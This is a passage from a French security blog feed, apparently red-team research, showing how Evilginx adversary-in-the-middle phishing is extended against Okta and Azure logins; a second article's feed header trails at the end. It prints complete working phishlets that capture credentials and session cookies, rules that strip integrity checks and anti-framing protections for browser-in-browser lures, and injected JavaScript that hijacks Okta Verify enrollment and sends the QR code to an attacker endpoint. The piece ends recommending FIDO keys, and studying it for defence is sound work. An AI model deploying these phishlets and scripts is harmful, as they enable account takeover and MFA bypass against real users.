<p style="text-align: justify;">Pour voler les cookies, l&rsquo;attaquant doit être placé dans une position <em>man-in-the-middle</em> au cours du processus d&rsquo;authentification. Cependant, avec la sécurité TLS imposée dans la majorité des IDP, <strong>l&rsquo;utilisateur aura conscience qu&rsquo;il se passe quelque chose d&rsquo;anormal</strong>.</p>
<p style="text-align: justify;">C&rsquo;est là qu&rsquo;<strong>Evilginx entre en jeu</strong>. Au lieu d&rsquo;effectuer une simple attaque de type « <em>man-in-the-middle</em> » en relayant le paquet vers l&rsquo;IDP, Evilginx crée un proxy malveillant :<strong> l&rsquo;utilisateur ne s&rsquo;authentifie pas sur accounts.google.com, mais il s&rsquo;authentifie sur login.evilginx.com</strong> :</p>
<figure id="attachment_26614" aria-describedby="caption-attachment-26614" style="width: 973px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-26614" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image2-399x191.png" alt="Schéma du fonctionnement d’Evilgproxy" width="973" height="466" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image2-399x191.png 399w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image2-71x34.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image2-768x367.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image2.png 947w" sizes="auto, (max-width: 973px) 100vw, 973px" /><figcaption id="caption-attachment-26614" class="wp-caption-text"><em>Fonctionnement d’Evilgproxy</em></figcaption></figure>
<p>Je ne prendrai pas plus de temps pour développer le principe de proxy malveillant, car ce sujet est déjà bien documenté sur Internet.</p>
<p> </p>
<h4 style="text-align: justify;">Phislets 101</h4>
<p style="text-align: justify;">Par exemple, lors de l&rsquo;authentification à Azure, les domaines suivants sont utilisés :</p>
<ul>
<li>login.microsoftonline.com</li>
<li>www.microsoftonline.com</li>
<li>aadcdn.microsoftonline.com</li>
</ul>
<p style="text-align: justify;">Le problème est que pendant le processus d&rsquo;authentification, l&rsquo;IDP redirige l&rsquo;utilisateur vers des pages spécifiques avec le domaine codé en dur dans la réponse. Par exemple, lors d&rsquo;un processus d&rsquo;authentification SAML classique, l&rsquo;IDP forcera le client à effectuer une requête POST vers un domaine spécifique codé en dur. Par conséquent, même si l&rsquo;utilisateur a commencé son processus d&rsquo;authentification sur login.evilginx.com, il sera redirigé vers login.microsoftonline.com au cours du processus d&rsquo;authentification, ce qui rompt la position de l&rsquo;homme du milieu.</p>
<p style="text-align: justify;">Evilginx <strong>utilise des fichiers de configuration spécifiques connus sous le nom de phishlets pour gérer de tels cas</strong>. La configuration du phishlet permet à Evilginx de savoir quel domaine doit être réécrit dans la réponse du serveur. Ainsi, si l&rsquo;IDP renvoie une réponse telle que :</p>
<pre style="text-align: justify;">&lt;form id=”SAML” action=”https://login.microsoftonline.com”&gt;<br />[…]<br />&lt;/form&gt;<br />&lt;script&gt;<br />document.getElementById(“SAML”).click()<br />&lt;/script&gt;</pre>
<p style="text-align: justify;">Avec le phishlet, <strong>Evilginx saura que le domaine login.microsoftonline.com doit être réécrit</strong> et renverra à la cible la page modifiée suivante :</p>
<pre>&lt;form id=”SAML” action=”https://login.evilginx.com”&gt;<br />[…]<br />&lt;/form&gt;<br />&lt;script&gt;<br />document.getElementById(“SAML”).click()<br />&lt;/script&gt;</pre>
<p style="text-align: justify;">Avec un tel modèle de correspondance et de remplacement,<strong> Evilginx est capable de maintenir l&rsquo;utilisateur dans l&rsquo;application malveillante</strong> même si l&rsquo;IDP tente de rediriger l&rsquo;utilisateur vers une page spécifique.</p>
<p> </p>
<h4 style="text-align: justify;">Limites du remplacement automatique</h4>
<p style="text-align: justify;">Le remplacement automatique des phishlets Evilginx a ses limites. En effet, <strong>il arrive que le serveur n’indique pas directement le domaine en dur dans la page,</strong> mais qu&rsquo;il le construise par le biais d&rsquo;un script JS.</p>
<p style="text-align: justify;">Dans ce cas, Evilginx n&rsquo;est pas en mesure de détecter automatiquement le motif du domaine. En tant que concepteurs de phishlets, nous devons alors comprendre comment le script fonctionne et remplacer manuellement la partie construisant le domaine de redirection par une correspondance/un remplacement.</p>
<h5> </h5>
<h5>CORS</h5>
<p style="text-align: justify;">Dans Okta, le flux d&rsquo;authentification est basé sur plusieurs scripts JS récupérés sur le domaine oktadcn. Le script <strong>construit dynamiquement l&rsquo;URL de redirection</strong> : il prend le nom du locataire Okta et ajoute « okta.com ». Par conséquent, lorsque Okta tente d&rsquo;atteindre la page spécifique en utilisant le domaine okta.com,<strong> il échoue en raison de la protection CORS</strong> (tentative d&rsquo;atteindre okta.com/idp/idx/introspect à partir de evilginx.com) :</p>
<figure id="attachment_26627" aria-describedby="caption-attachment-26627" style="width: 1009px" class="wp-caption alignnone"><img loading="lazy" decoding="async" class=" wp-image-26627" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image3-367x191.png" alt="Image montrant l'erreur provoquée par les CORS d'okta" width="1009" height="525" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image3-367x191.png 367w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image3-71x37.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image3-768x400.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image3.png 849w" sizes="auto, (max-width: 1009px) 100vw, 1009px" /><figcaption id="caption-attachment-26627" class="wp-caption-text"><em>Les CORS Okta</em></figcaption></figure>
<p style="text-align: justify;">En déboguant l&rsquo;application, il est possible de trouver l&rsquo;endroit où la construction de l&rsquo;URL est effectuée et de la modifier en remplaçant le motif correspondant :</p>
<pre style="text-align: justify;"><u>Replace:</u> array");var t=<br /><u>By:</u> array");e.redirectUri=e.redirectUri.replace("okta.com","evilginx.com");var t=</pre>
<p style="text-align: justify;">Avec cette simple indication, Evilginx remplacera tout motif correspondant, <strong>évitant ainsi la redirection de l&rsquo;utilisateur en dehors de l&rsquo;application de phishing.</strong></p>
<h5> </h5>
<h5 style="text-align: justify;">Intégrité du JS</h5>
<p style="text-align: justify;">Lorsque l&rsquo;on modifie le fichier JS ou tout autre fichier via Evilginx,<strong> cela peut causer des problèmes en raison du hash d’intégrité du script</strong> :</p>
<pre style="text-align: justify;">&lt;script src="https://ok14static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.30.1/js/okta-sign-in.min.js" type="text/javascript" integrity="sha384-EX0iPfWYp6dfAnJ+ert/KRhXwMapYJdnU2i5BbbeOhWyX0qyI4rMkxKKl8N5pXNI" crossorigin="anonymous"/&gt;</pre>
<p style="text-align: justify;">En effet, si Evilginx modifie le script okta-signing-widget, son hash ne correspondra pas à celui défini dans le fichier html et l&rsquo;application refusera de le charger.</p>
<figure id="attachment_26684" aria-describedby="caption-attachment-26684" style="width: 1165px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-26684" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/hash-437x48.png" alt="Image montrant l'erreur liée au hash d’intégrité" width="1165" height="128" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/hash-437x48.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/hash-71x8.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/hash-768x85.png 768w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/hash-1536x170.png 1536w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/hash.png 1737w" sizes="auto, (max-width: 1165px) 100vw, 1165px" /><figcaption id="caption-attachment-26684" class="wp-caption-text"><em>Erreur liée au hash d’intégrité</em></figcaption></figure>
<p style="text-align: justify;">Avec Evilginx, nous pouvons également modifier la page html pour supprimer le contrôle d&rsquo;intégrité :</p>
<pre style="text-align: justify;">Replace: integrity="[^"]*"<br />By: integrity=''</pre>
<h5> </h5>
<h5 style="text-align: justify;">Validation de l&rsquo;URI de redirection</h5>
<p style="text-align: justify;">Le dernier point est <strong>la validation de l&rsquo;URI de redirection</strong>. En effet, lors de l&rsquo;authentification OIDC, le client sera redirigé vers une page dont l&rsquo;URL est du type :</p>
<pre style="text-align: justify;">/oauth2/v1/authorize?client_id=XXXXXX&amp;redirect_uri=https://trial-xxxxx.okta.com[...]</pre>
<p style="text-align: justify;">Avec le remplacement automatique de domaine configuré sur Evilginx, le paramètre URI de redirection trial-xxxx.okta.com sera automatiquement changé en trial-xxxxx.evilginx.com.</p>
<p style="text-align: justify;">Cela déclenchera le processus de validation de l&rsquo;uri de redirection. Le domaine evilginx.com n&rsquo;ayant pas été configuré du côté d&rsquo;Okta comme un domaine de redirection valide,<strong> Okta affichera l&rsquo;erreur suivante :</strong></p>
<figure id="attachment_26631" aria-describedby="caption-attachment-26631" style="width: 250px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-26631" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image5-175x191.png" alt="Image montrant l'erreur  400 - Bad Request dans Okta" width="250" height="273" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image5-175x191.png 175w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image5-36x39.png 36w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/Image5.png 269w" sizes="auto, (max-width: 250px) 100vw, 250px" /><figcaption id="caption-attachment-26631" class="wp-caption-text"><em>Erreur dans Okta</em></figcaption></figure>
<p style="text-align: justify;">L&rsquo;URI de redirection est <strong>construit dynamiquement par Okta en prenant le domaine de connexion </strong>et en ajoutant les paramètres de rappel. Il est donc possible de contourner cette erreur en modifiant le script JS qui construit l&rsquo;URL et en s&rsquo;assurant que l&rsquo;URI de rappel est celui attendu par Okta :</p>
<p style="text-align: justify;">En utilisant Evilginx, il est<strong> possible d&rsquo;utiliser un motif qui sera remplacé pour réinitialiser le redirect_uri </strong>à la bonne URI :</p>
<pre style="text-align: justify;"><u>Replace:</u> ,l.src=e.getIssuerOrigin()<br /><u>By:</u> ,l.src=e.getIssuerOrigin().replace("evilginx.com","okta.com")<br /><br /><u>Replace:</u> var s=(n.g.fetch||h())(t<br /><u>By:</u> ,l.src=e.getIssuerOrigin().replace("evilginx.com","okta.com")</pre>
<h4> </h4>
<h4 style="text-align: justify;">Phishlets basiques</h4>
<h5 style="text-align: justify;">Okta</h5>
<pre style="text-align: justify;">min_ver: '3.0.0'<br />name: 'okta-wavestone'<br /><br />params:<br />  - name: okta_orga<br />    default: ''<br />    required: true<br />  - name: redirect_server<br />    default: https://google.com<br /><br />proxy_hosts:<br />  - phish_sub: '{okta_orga}'<br />    orig_sub: '{okta_orga}'<br />    domain: okta.com<br />    session: true<br />    is_landing: true<br />    auto_filter: true<br /><br />  - phish_sub: ok14static<br />    orig_sub: ok14static<br />    domain: oktacdn.com<br />    session: false<br />    is_landing: false<br />    auto_filter: true<br /><br />  - phish_sub: login<br />    orig_sub: login<br />    domain: okta.com<br />    session: false<br />    is_landing: false<br />    auto_filter: true<br /><br />sub_filters:<br />  - triggers_on: 'ok14static.oktacdn.com'<br />    orig_sub: ''<br />    domain: 'okta.com'<br />    search: 'array"\);var t='<br />    replace: 'array");e.redirectUri=e.redirectUri.replace("{basedomain}","{orig_domain}");var t='<br />    mimes: ['application/javascript']<br /><br />  - triggers_on: '{okta_orga}.okta.com'<br />    orig_sub: ''<br />    domain: 'okta.com'<br />    search: integrity="[^"]*"<br />    replace: integrity=''<br />    mimes: ['text/html', 'charset=utf-8']<br /><br />  - triggers_on: '{okta_orga}.okta.com'<br />    orig_sub: ''<br />    domain: 'okta.com'<br />    search: 'mainScript\.integrity'<br />    replace: 'mainScript.inteegrity'<br />    mimes: ['text/html', 'charset=utf-8']<br /><br />  - triggers_on: 'ok14static.oktacdn.com'<br />    orig_sub: ''<br />    domain: 'okta.com'<br />    search: 'var s=\(n\.g\.fetch\|\|h\(\)\)\(t'<br />    replace: 't=t.replace("{orig_domain}","{domain}");var s=(n.g.fetch||h())(t'<br />    mimes: ['application/javascript']<br /><br />  - triggers_on: 'ok14static.oktacdn.com'<br />    orig_sub: ''<br />    domain: 'okta.com'<br />    search: ',l\.src=e\.getIssuerOrigin\(\)'<br />    replace: ',l.src=e.getIssuerOrigin().replace("{orig_domain}","{domain}")'<br />    mimes: ['application/javascript']<br /><br />  - triggers_on: 'ok9static.oktacdn.com'<br />    orig_sub: ''<br />    domain: 'okta.com'<br />    search: ',l\.src=e\.getIssuerOrigin\(\)'<br />    replace: ',l.src=e.getIssuerOrigin().replace("{orig_domain}","{domain}")'<br />    mimes: ['application/javascript']<br /><br />auth_tokens:<br />  - domain: '{okta_orga}.okta.com'<br />    keys: ['idx:always']<br /><br />credentials:<br />  username:<br />    key: ''<br />    search: '"identifier":"([^"]*)"'<br />    type: 'json'<br /><br />  password:<br />    key: 'passwd'<br />    search: '(.*)'<br />    type: 'post'<br /><br />login:<br />  domain: '{okta_orga}.okta.com'<br />  path: '/'<br /><br />force_post:<br />  - path: '/kmsi'<br />    search:<br />      - {key: 'LoginOptions', search: '.*'}<br />    force:<br />      - {key: 'LoginOptions', value: '1'}<br />    type: 'post'</pre>
<p style="text-align: justify;"> </p>
<h5 style="text-align: justify;">Azure</h5>
<pre>name: 'o365-wavestone'<br />min_ver: '3.0.0'<br /><br />proxy_hosts:<br />  - phish_sub: 'login'<br />    orig_sub: 'login'<br />    domain: 'microsoftonline.com'<br />    session: true<br />    is_landing: true<br /><br />  - phish_sub: 'www'<br />    orig_sub: 'www'<br />    domain: 'office.com'<br />    session: true<br />    is_landing:false<br /><br />  - phish_sub: 'aadcdn'<br />    orig_sub: 'aadcdn'<br />    domain: 'msftauth.net'<br />    session: false<br />    auto_filter: true<br />    is_landing:false<br /><br />auth_tokens:<br />  - domain: '.login.microsoftonline.com'<br />    keys: ['ESTSAUTH', 'ESTSAUTHPERSISTENT']<br />  - domain: 'login.microsoftonline.com'<br />    keys: ['SignInStateCookie']<br /><br />credentials:<br />  username:<br />    key: 'login'<br />    search: '(.*)'<br />    type: 'post'<br />  password:<br />    key: 'passwd'<br />    search: '(.*)'<br />    type: 'post'<br /><br />auth_urls:<br />  - '/common/SAS/ProcessAuth'<br />  - '/kmsi'<br /><br />login:<br />  domain: 'login.microsoftonline.com'<br />  path: '/'<br /><br />force_post:<br />  - path: '/kmsi'<br />    search:<br />      - {key: 'LoginOptions', search: '.*'}<br />    force:<br />      - {key: 'LoginOptions', value: '1'}<br />    type: 'post'<br /><br />  - path: '/common/SAS'<br />    search:<br />      - {key: 'rememberMFA', search: '.*'}<br />    force:<br />      - {key: 'rememberMFA', value: 'true'}<br />    type: 'post'</pre>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Automatiser les actions critiques</h2>
<p> </p>
<h3 style="text-align: justify;">Ajouter un nouvel appareil au MFA</h3>
<p style="text-align: justify;">Une fois qu&rsquo;un attaquant est en mesure de récupérer un accès initial à la session de l&rsquo;utilisateur, il doit mettre en place une persistance de l&rsquo;accès car les cookies ont une durée de validité limitée.</p>
<p style="text-align: justify;">Cela se fait généralement en ajoutant un nouvel appareil au MFA associé au compte de l&rsquo;utilisateur.</p>
<p style="text-align: justify;">Par exemple, sur Azure, l’ajout d’un dispositif MFA ne nécessite pas de réauthentification ou de validation MFA. Ainsi,<strong> tant que l’attaquant a accès à la session utilisateur, il peut directement enregistrer son dispositif MFA malveillant</strong>.</p>
<p style="text-align: justify;">En revanche, sur certaines plateformes d’identification comme <strong>Okta, l’enregistrement d’un MFA exige une validation MFA préalable</strong>. Même si un attaquant parvient à compromettre la session Okta de l’utilisateur, il ne pourra pas ajouter un dispositif MFA directement.</p>
<p style="text-align: justify;">Il pourrait être intéressant d’ajouter cette étape de réauthentification dans le scénario d’attaque par phishing :</p>
<ol style="text-align: justify;">
<li>L’utilisateur s’authentifie une première fois pour accéder à sa session</li>
<li>Evilginx vole les cookies de session</li>
<li>Evilginx effectue des appels API automatiques pour déclencher l’enregistrement de l’appareil MFA en arrière-plan</li>
<li>L’utilisateur revalide son MFA, pensant que la première tentative a échoué</li>
<li>Evilginx intercepte le QR Code MFA, permettant à l’attaquant de finaliser l’enregistrement de son propre appareil</li>
</ol>
<p style="text-align: justify;">Toutes ces actions <strong>peuvent être automatisées via Evilginx en modifiant les scripts JS.</strong></p>
<p style="text-align: justify;">Dans un premier temps, Evilginx interceptera la redirection effectuée à la fin de la première authentification, et redirigera l’utilisateur vers une fausse page contrôlée par l’attaquant.</p>
<pre style="text-align: justify;">  - trigger_domains: ['{okta_orga}.okta.com']<br />    trigger_paths: ['/app/UserHome']<br />    script: |<br />  if(document.referrer.indexOf('/enduser/callback') != -1){document.location = 'https://'+window.location.hostname+'/help/login'}</pre>
<p style="text-align: justify;">Ce script <strong>sera injecté uniquement dans la page /app/UserHome et ne sera déclenché que lorsque cette page est accédée depuis /enduser/callback</strong>. Cela garantit que l’utilisateur est redirigé vers une page de leurre uniquement une fois que le premier processus d’authentification est terminé. Dans ce cas précis, la page de leurre est la page /help/login d’Okta. Cette redirection vers une page de leurre est indispensable, sinon l’utilisateur reste bloqué dans <strong>une boucle de redirection infinie à la fin de son authentification</strong>.</p>
<p style="text-align: justify;">Ensuite,<strong> un nouveau code JS est ajouté à la page /help/login</strong>. Ce script permet d’énumérer les technologies MFA disponibles et configurées :</p>
<pre style="text-align: justify;">  - trigger_domains: ['{okta_orga}.okta.com']<br />    trigger_paths: ['/help/login']<br />    script: |<br />      function u4tyd783z(){<br />        fetch('/api/v1/authenticators')<br />        .then((data) =&gt; {<br />            data.json().then((jData)=&gt;{<br />                let id = undefined<br />                for(let elt of jData){<br />                    if(elt.key == 'okta_verify'){<br />                        id = elt.id<br />                    }<br />                }<br />                if(id == undefined){<br />                    return<br />                }<br />                console.log('https://'+window.location.hostname+'/idp/authenticators/setup/'+id)<br />                document.location = 'https://'+window.location.hostname+'/idp/authenticators/setup/'+id<br />            })<br />        })<br />      }<br />      u4tyd783z();</pre>
<p style="text-align: justify;">Le script <strong>sélectionne la méthode d’authentification “Okta Verify” </strong>et redirige l’utilisateur vers la page de configuration.</p>
<p style="text-align: justify;">Sur cette page de configuration, un nouveau script JS est injecté. <strong>Ce script automatise les étapes d’enregistrement afin de ne laisser visible que le formulaire de validation MFA</strong> :</p>
<pre style="text-align: justify;">- trigger_domains: ['{okta_orga}.okta.com']<br />    trigger_paths: ['/idp/authenticators/setup/.*']<br />    script: |<br />      function u720dhfn2(){<br />        if(document.querySelectorAll('.button.select-factor.link-button').length &gt; 0){<br />            document.querySelectorAll('.button.select-factor.link-button')[0].click()<br />            document.querySelectorAll('body')[0].style.display = 'none'<br />            a = true<br />        }<br />        if(document.querySelectorAll('a.orOnMobileLink').length &gt; 0){<br />            document.querySelectorAll('a.orOnMobileLink')[0].click()<br />            b = true<br />        }<br />        if(document.querySelectorAll('img.qrcode').length &gt; 0){<br />            fetch("{qrcode_sink}", {<br />              method: 'POST',<br />              body: JSON.stringify({code: document.querySelectorAll('img.qrcode')[0].getAttribute('src')})<br />            }).then(()=&gt;{<br />              document.location='{redirect_server}'<br />            }).catch(()=&gt;{<br />              document.location='{redirect_server}'<br />            })<br /><br />            clearInterval(myInterval)<br />        }<br />      }<br />      var a = false<br />      var b = false<br />      var myInterval = setInterval(function(){u720dhfn2()}, 10)</pre>
<p style="text-align: justify;">Une fois que l’utilisateur a validé l’authentification <strong>MFA, le script repère le QR Code affiché et l’exfiltre via une requête HTTP.</strong></p>
<p style="text-align: justify;">L’attaquant peut alors récupérer ce QR Code et enregistrer son propre appareil.</p>
<p style="text-align: justify;"> </p>
<h2 style="text-align: justify;">Aller plus loin</h2>
<p> </p>
<h3 style="text-align: justify;">Okta avec l’authentification Azure</h3>
<p style="text-align: justify;">Certaines entreprises associent deux fournisseurs d&rsquo;identité (IdP) :<strong> Okta redirige vers Azure et crée automatiquement le compte utilisateur lors de la première connexion.</strong></p>
<p style="text-align: justify;">Cette configuration est particulièrement intéressante pour un attaquant, car elle lui permet d’exfiltrer les sessions Azure et Okta à l’aide d’un seul phishing.</p>
<p style="text-align: justify;">Pour ce faire, les deux phislets précédents doivent<strong> être fusionnés afin de capturer les deux processus d’authentification.</strong> L’essentiel est de s’assurer qu’Okta redirige vers le domaine Azure Evilginx, et non vers login.microsoftonline.com.</p>
<p style="text-align: justify;">Heureusement, cette redirection est effectuée via un formulaire HTML en clair qui est soumis automatiquement dans la réponse d’Okta :</p>
<pre style="text-align: justify;">&lt;form id="appForm" action="https://login.microsoftonline.com/7ee59529-c0a4-4d72-82e4-3ec0952b49f4/saml2" method="POST"&gt;[...]&lt;/form&gt;</pre>
<p style="text-align: justify;">Comme le domaine Azure est codé en dur dans le HTML, Evilginx peut le remplacer</p>
<p style="text-align: justify;">De même, une fois l’authentification terminée chez Microsoft, la redirection vers Okta peut être interceptée, et Evilginx peut substituer le domaine Okta réel par son équivalent malveillant, permettant ainsi la récupération du cookie de session Azure.</p>
<p style="text-align: justify;">En résumé<em>, </em><strong>dans cette configuration spécifique, il est possible de simplement fusionner les deux phislets précédents.</strong></p>
<h3> </h3>
<h3 style="text-align: justify;">Frame buster</h3>
<p style="text-align: justify;">De plus en plus d’utilisateurs vérifient l’URL d’authentification avant de saisir leurs identifiants. Pour contourner cette vérification, il est possible d’utiliser la technique dite du “Browser-in-Browser”.</p>
<p style="text-align: justify;">L’idée est d’intégrer l’application de phishing dans une iframe et de construire une fausse interface ressemblant à une fenêtre Chrome autour de cette iframe, afin de faire passer cette dernière pour une pop-up légitime.</p>
<p style="text-align: justify;">Étant donné que l’apparence de la fenêtre est entièrement recréée, il devient possible d’y afficher une fausse adresse. Dans la figure ci-dessous, un formulaire Google est intégré via une iframe mais donne l’impression d’une véritable pop-up:</p>
<figure id="attachment_26689" aria-describedby="caption-attachment-26689" style="width: 969px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-26689" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/browser_in_browser-374x191.png" alt="Image montrant la technique du de &quot;Browser-in-browser&quot;, avec l'affichage d'une fausse pop up qui montre une url de confiance" width="969" height="495" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/browser_in_browser-374x191.png 374w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/browser_in_browser-71x36.png 71w, https://www.riskinsight-wavestone.com/wp-content/uploads/2025/07/browser_in_browser.png 680w" sizes="auto, (max-width: 969px) 100vw, 969px" /><figcaption id="caption-attachment-26689" class="wp-caption-text"><em>Exemple de « Browser-in-browser »</em></figcaption></figure>
<p style="text-align: justify;">Le principal problème ici est que la plupart des formulaires d’authentification des fournisseurs d’identité (IdP) mettent en œuvre plusieurs techniques pour empêcher leur intégration dans une iframe. Ces techniques sont appelées <em>framebusters</em>.</p>
<p style="text-align: justify;">Bien qu’Okta ne semble pas appliquer de telles protections, le formulaire d’authentification d’Azure contient de nombreuses fonctionnalités qui cesseraient de fonctionner s’il était intégré dans une iframe.</p>
<h4> </h4>
<h4 style="text-align: justify;">Self == top</h4>
<p style="text-align: justify;">La technique de <em>framebuster</em> la plus simple consiste à vérifier si la frame actuelle est la frame principale (<em>top frame</em>), ce que Microsoft implémente. Si le formulaire d’authentification détecte qu’il n’est pas affiché dans la frame principale, il refuse de s’afficher.</p>
<p style="text-align: justify;">Avec Evilginx, il est possible de désactiver cette vérification à l’aide d’un simple modèle de correspondance et de remplacement (<em>match &amp; replace</em>) :</p>
<pre style="text-align: justify;">Replace: if(e.self===e.top){<br />By: if(true){window.oldself=e.self;e.self=e.top;</pre>
<p style="text-align: justify;">Cette modification permet de faire passer l’iframe pour la frame principale (<em>top frame</em>), contournant ainsi la protection.</p>
<h4> </h4>
<h4 style="text-align: justify;">Target=”_top”</h4>
<p style="text-align: justify;">La technique suivante consiste à forcer la soumission du formulaire à rediriger la <em>top frame</em>. Ainsi, si le formulaire est soumis dans une iframe, la redirection s’appliquera non seulement à cette iframe, mais à toute la page, ce qui casse l’effet “Browser-in-Browser”.</p>
<p style="text-align: justify;">Cela peut être réalisé en ajoutant l’attribut target= »_top » au formulaire. Il est ensuite possible de désactiver cette protection avec Evilginx :</p>
<pre style="text-align: justify;"><u>Replace:</u> method="post" target="_top"<br /><u>By:</u> method="post"</pre>
<h4> </h4>
<h4 style="text-align: justify;">Framework specific</h4>
<p style="text-align: justify;">Microsoft utilise un framework spécifique pour ses applications. Ce framework n’implémente pas à proprement parler de techniques de <em>framebusting</em>, mais son fonctionnement interne rend son intégration dans une iframe particulièrement complexe.</p>
<p style="text-align: justify;">Une des limitations principales apparaît au moment où le framework tente d’envoyer des données à une URL construite à partir du domaine de la <em>top frame</em>. Ainsi, au lieu d’envoyer les données à login.evilginx.com, elles sont envoyées à my-phishing-app.com, ce qui interrompt complètement le processus d’authentification.</p>
<p style="text-align: justify;">Pour modifier cette adresse, il n’est pas possible de simplement remplacer le domaine par celui du site de phishing comme cela a été fait précédemment. Il est nécessaire de comprendre le fonctionnement du framework afin de modifier manuellement cette valeur au niveau de l’élément racine :</p>
<pre style="text-align: justify;"><u>Replace:</u> autoSubmit: forceSubmit, attr: { action: postUrl }<br /><u>By:</u> autoSubmit: forceSubmit, attr: { action: \\'/common/login\\'}</pre>
<h4> </h4>
<h4 style="text-align: justify;">HTTP header</h4>
<p style="text-align: justify;">La dernière technique de <em>framebusting</em> repose sur l’en-tête HTTP X-Frame-Options: DENY, qui indique au navigateur que l’application ne peut pas être affichée dans une iframe.</p>
<p style="text-align: justify;">Il est possible de supprimer cet en-tête à l’aide d’Evilginx :</p>
<pre style="text-align: justify;"><u>Replace:</u> X-Frame-Options: DENY<br /><u>By:</u> Test: Test</pre>
<h4> </h4>
<h4 style="text-align: justify;">Final phishlet</h4>
<p style="text-align: justify;">The following video shows an example of browser in browser phishing on a company using Okta/Azure. The attacker will be able, in a single phishing to:</p>
<ul style="text-align: justify;">
<li>Retrieve the Azure credentials</li>
<li>Retrieve the Azure cookies</li>
<li>Retrieve the Okta cookies</li>
<li>Retrieve the MFA enrollment QRCode for Okta</li>
</ul>
<p style="text-align: justify;">La vidéo suivante présente un exemple d’attaque par phishing de type “Browser-in-Browser” ciblant une entreprise utilisant Okta et Azure. Lors d’un seul et unique phishing, l’attaquant est capable de :</p>
<ul style="text-align: justify;">
<li>Récupérer les identifiants Azure</li>
<li>Récupérer les cookies de session Azure</li>
<li>Récupérer les cookies Okta</li>
<li>Récupérer le QR Code d’enrôlement MFA pour Okta</li>
</ul>
<p style="text-align: center;"> </p>
<div align="center"><iframe loading="lazy" title="Exemple d'attaque par phishing" src="https://www.youtube.com/embed/FHsZhNEIH64?si=OxsRrtlIpbkvgdJA" width="800" height="450" frameborder="0" allowfullscreen="allowfullscreen"></iframe></div>
<p style="text-align: center;"><em>Exemple d’attaque par phishing de type “Browser-in-Browser” ciblant une entreprise utilisant Okta et Azure</em></p>
<p> </p>
<p style="text-align: justify;">L’évolution des techniques de phishing, illustrée par des outils tels qu’Evilginx, révèle une transformation significative des menaces informatiques : il ne s’agit plus uniquement d’exfiltrer des identifiants, mais de détourner des sessions authentifiées dans leur intégralité. En adoptant une posture d’« homme du milieu » (<em>Adversary-in-the-Middle</em>, AiTM), Evilginx est en mesure d’intercepter et de manipuler les échanges entre l’utilisateur et les services légitimes, contournant ainsi les mécanismes traditionnels d’authentification multifacteur (MFA).</p>
<p style="text-align: justify;">Cette capacité ne constitue toutefois qu’un aperçu des possibilités offertes par l’outil. Evilginx peut être ajusté pour automatiser des actions critiques telles que l’enregistrement d’un dispositif MFA, contourner des protections comme les <em>framebusters</em> et garantir un accès persistant à la session utilisateur.</p>
<p style="text-align: justify;">La seule mesure réellement efficace pour réduire les attaques par phishing consiste à déployer des mécanismes d’authentification multifacteur résistants au phishing, tels que les clés FIDO, au minimum pour les comptes administrateurs.</p>




<p>Cet article <a href="https://www.riskinsight-wavestone.com/2025/07/phishing-evilginx-pousse-a-ses-limites/">Phishing : Evilginx poussé à ses limites</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.riskinsight-wavestone.com/2025/07/phishing-evilginx-pousse-a-ses-limites/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Améliorer la sécurité de son infrastructure IoT : conseils de configuration et bonnes pratiques sur Azure IoT</title>
		<link>https://www.riskinsight-wavestone.com/2023/04/ameliorer-la-securite-de-son-infrastructure-iot-conseils-de-configuration-et-bonnes-pratiques-sur-azure-iot/</link>
					<comments>https://www.riskinsight-wavestone.com/2023/04/ameliorer-la-securite-de-son-infrastructure-iot-conseils-de-configuration-et-bonnes-pratiques-sur-azure-iot/#respond</comments>
		
		<dc:creator><![CDATA[Arnaud Soullié]]></dc:creator>
		<pubDate>Fri, 07 Apr 2023 13:00:00 +0000</pubDate>
				<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[IoT & smart products]]></category>
		<category><![CDATA[Azure]]></category>
		<category><![CDATA[IoT]]></category>
		<category><![CDATA[RBAC]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=20199</guid>

					<description><![CDATA[<p>Les plateformes IoT permettent de connecter, de gérer et de surveiller des flottes d’appareils. Les 3 leaders du Cloud, GCP, AWS et Azure ont chacun leur offre, dans un secteur particulièrement fragmenté, qui voit de nombreux acteurs en concurrence. Azure,...</p>
